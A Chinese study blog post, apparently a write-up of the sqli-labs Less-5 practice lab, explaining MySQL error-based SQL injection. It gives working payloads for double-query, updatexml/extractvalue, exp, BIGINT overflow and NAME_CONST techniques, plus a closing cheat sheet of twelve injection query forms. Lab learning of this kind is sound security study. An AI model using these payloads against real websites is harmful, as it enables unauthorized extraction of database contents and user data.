sqli-labs-Less5 关于各种报错注入的学习

前言

做Less5之前自己还只是个只会简单的updatexml的小菜鸡。做题的时候查找了大量的资料,发现报错注入的各种姿势。感谢郁离歌大佬的博客,给了我很大的收获。这里贴下他的文章:
SQLI-LABS修炼笔记(二)

SQL注入之报错注入的一些随笔

一些基本的函数

报错注入中会遇到一些基本的函数,这里附上基本函数的总结:
SQL注入中的常见函数
知道了这些函数后,就可以开始各种报错注入姿势的学习了。

双查询注入

双查询注入的具体原理,可以参考下面的文章:
详细讲解双查询注入

或者
SQL注入之双查询注入
这两篇文章内容其实几乎一样,但是第一个文章里面的图片我打不开,但是第二个文章的图片我可以打开,理解的时候会更加容易。

学习完上面的文章后,就对双查询有了一定的了解了。
我们可以开始注入:

?id=1' union select 1,count(*),concat((select database()),floor(rand()*2))a from information_schema.columns group by a -- -

在这里插入图片描述
可以知道数据库名是security。
然后获取表名:

?id=1' union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2))a from information_schema.columns group by a -- -

在这里插入图片描述
然后就是字段和查询列:
在这里插入图片描述
就可以了。

Xpath报错注入

xpath报错注入可以使用的函数我知道的有两个个,分别是:updatexml(),extractvalue()。
updatexml报错注入的用法如下:

updatexml(1,concat(0x7e,database(),0x7e),1)

extractvalue的用法如下:

extractvalue(1,concat(0x7e,(select database()),0x7e))

在这里插入图片描述

扫描二维码关注公众号,回复: 11976667 查看本文章

之后extractvalue的注入方式就和平常的注入一样了。
同理updatexml也是这样注入。

利用double 数值类型超出范围进行报错注入

具体可以参考:
使用exp进行SQL报错注入

注入方式如下:

?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+

只不过在这题,它并不会回显真正的user(),但是上面的文章里面有回显,可能是因为一些玄学原因吧,作为一个知识点了解了解。

利用bigint 溢出进行报错注入

可以参考:
基于BIGINT溢出错误的SQL注入
不过这里有个坑,就是这里
在这里插入图片描述
如果去查,会发现网上都是说查询成功返回值是0。这是不对的,其实真正的返回值就是你的查询结果。但是进行!操作的时候,实际上存在了类型转换。
在这里插入图片描述
在这里插入图片描述

因此并不是像网上所说的那样。

同样的,这题使用bigint报错也不会有那种我们预期的结果,可能也是版本或者玄学的问题。

NAME_CONST

利用数据的重复性。
使用的姿势:

select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

不过这种方式过于鸡肋,因为如果传入NAME_CONST的参数不是常量,就会报错(不是报错注入的那种报错),似乎只有version()可以用

总结

报错注入的姿势实在是太多太多,这是一个大的总结:

1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));
2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));
4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;
6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));
7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));
8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));
9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));
10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));
11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));
12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

还有很多方式我的这篇博客没有提到,因为太困了,就先睡了。剩下的各种姿势下次继续学习,学习懂了后再写下来。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/108674217